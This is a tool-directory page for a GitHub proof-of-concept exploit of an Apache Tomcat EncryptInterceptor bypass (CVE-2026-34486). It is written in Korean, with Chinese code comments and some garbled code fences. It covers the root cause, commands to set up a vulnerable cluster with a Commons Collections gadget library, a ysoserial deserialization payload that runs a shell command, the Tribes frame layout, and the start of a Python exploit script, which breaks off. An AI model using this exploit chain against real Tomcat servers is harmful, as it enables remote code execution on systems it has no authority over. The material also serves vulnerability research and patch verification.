Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-34486-poc — CVE-2026-34486 Apache Tomcat EncryptInterceptor 우회 취약점 재현 (GLM5.1로 재현 완료) | Kitploit
도구/GitHubGitHub/airskye/cve-2026-34486-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubairskye/cve-2026-34486-poc

CVE-2026-34486-poc

CVE-2026-34486 Apache Tomcat EncryptInterceptor 우회 취약점 재현 (GLM5.1로 재현 완료)

저장소 보기
12195개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-34486 Apache Tomcat EncryptInterceptor 우회 취약점 재현

1. 취약점 개요

속성상세
CVE 번호CVE-2026-34486
심각도Important / High(CVSS 3.1: 7.5)
취약점 유형CWE-311 민감 데이터 암호화 누락 / CWE-807 신뢰할 수 없는 입력 제약
영향받는 버전Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
수정 버전Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21
근본 원인EncryptInterceptor.messageReceived()에서 super.messageReceived(msg)가 try-catch 블록 외부로 이동됨

취약점 근본 원인

CVE-2026-29146(Padding Oracle)수정 시, 개발자가 EncryptInterceptor.messageReceived() 메서드를 리팩토링하면서 super.messageReceived(msg)를 try 블록 내부에서 외부로 이동했습니다:

수정 전(안전):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }

**취약 코드 (위험):**```java
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获,但执行流继续!
    }
    super.messageReceived(msg);  // ← 在 try 外,无论解密是否成功都会执行!
}

바이트코드 검증(Tomcat 9.0.116의 EncryptInterceptor.class에서):``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException

// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived

---

## 2. 재현 환경

| 구성 요소 | 버전/설정 |
|---|---|
| 운영 체제 | Ubuntu 22.04 (샌드박스 환경) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (취약 버전) |
| Gadget 라이브러리 | Commons Collections 3.1 |
| 공격 도구 | ysoserial v0.0.6 + 사용자 정의 Python/Java PoC |

### 환경 토폴로지```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信

3. 상세 재현 단계

단계 1: 취약 버전 Tomcat 다운로드 및 설치```bash

下载 Tomcat 9.0.116

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz

解压两份

tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2

### 2단계: Gadget 라이브러리 설치```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar

# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/

3단계: 클러스터 + EncryptInterceptor 구성

tomcat-node1/conf/server.xml을 편집하고 <Engine> 안에 다음을 추가합니다:```xml

> 참고: `encryptionKey`는 16진수 문자열 형식이어야 합니다(예: `546869734973415365637265744B6579` = "ThisIsASecretKey"의 ASCII 16진수). 일반 텍스트 문자열이 될 수 없습니다.

### 4단계: Session 복제 활성화

`webapps/ROOT/WEB-INF/web.xml`에 다음을 추가합니다:```xml
<distributable/>

5단계: Tomcat 클러스터 시작```bash

启动 Node1

cd tomcat-node1 && bin/catalina.sh start

启动 Node2

cd tomcat-node2 && bin/catalina.sh start

验证集群建立

日志中应出现: "Replication member added: ..."

端口 4000/4001 应监听中

**실제 시작 로그 확인:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

INFO [main] ReceiverBase.bind
  Receiver Server Socket bound to:[/172.24.0.7:4000]

INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
  Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]

6단계: 역직렬화 Payload 생성```bash

使用 ysoserial 生成 CommonsCollections6 gadget chain

(CC6 在 Java 高版本兼容性更好)

java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin

验证 payload 以 Java 序列化魔术字节开头

python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "

### 步骤 7:构造并发送 Tribes 协议消息

Tribes 消息需要特定的 XByteBuffer 帧封装格式:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]

ChannelData 페이로드 구조:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]

**핵심**: 메시지 본문을 암호화되지 않은 Java 직렬화 payload에 직접 넣는 것이 취약점 악용의 핵심이다. EncryptInterceptor가 복호화를 시도하지만 실패한 후에도 원본 바이트를 후속 체인에 전달한다.

#### 방법 1: Python PoC 스크립트 (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。

用于授权的安全研究环境,严禁用于非法用途。
"""

import socket
import struct
import sys
import os
import time

# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002"   # XByteBuffer 帧起始标记 (7 bytes)
END_DATA   = b"TLF003"    # XByteBuffer 帧结束标记 (7 bytes)

TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"  # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"  # MemberImpl 结束标记 (10 bytes)


def build_member_data(host_bytes, port):
    """构造 MemberImpl 序列化数据"""
    inner = b""
    inner += struct.pack(">q", 0)                  # memberAliveTime (8B)
    inner += struct.pack(">i", port)                # port (4B)
    inner += struct.pack(">i", 0)                   # securePort (4B)
    inner += struct.pack(">i", 0)                   # udpPort (4B)
    inner += struct.pack(">b", len(host_bytes))     # hostLen (1B)
    inner += host_bytes                              # host
    inner += struct.pack(">i", 0)                   # commandLen (4B)
    inner += struct.pack(">i", 0)                   # domainLen (4B)
    inner += os.urandom(16)                          # uniqueId (16B)
    inner += struct.pack(">i", 0)                   # payloadLen (4B)

    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
도구 다운로드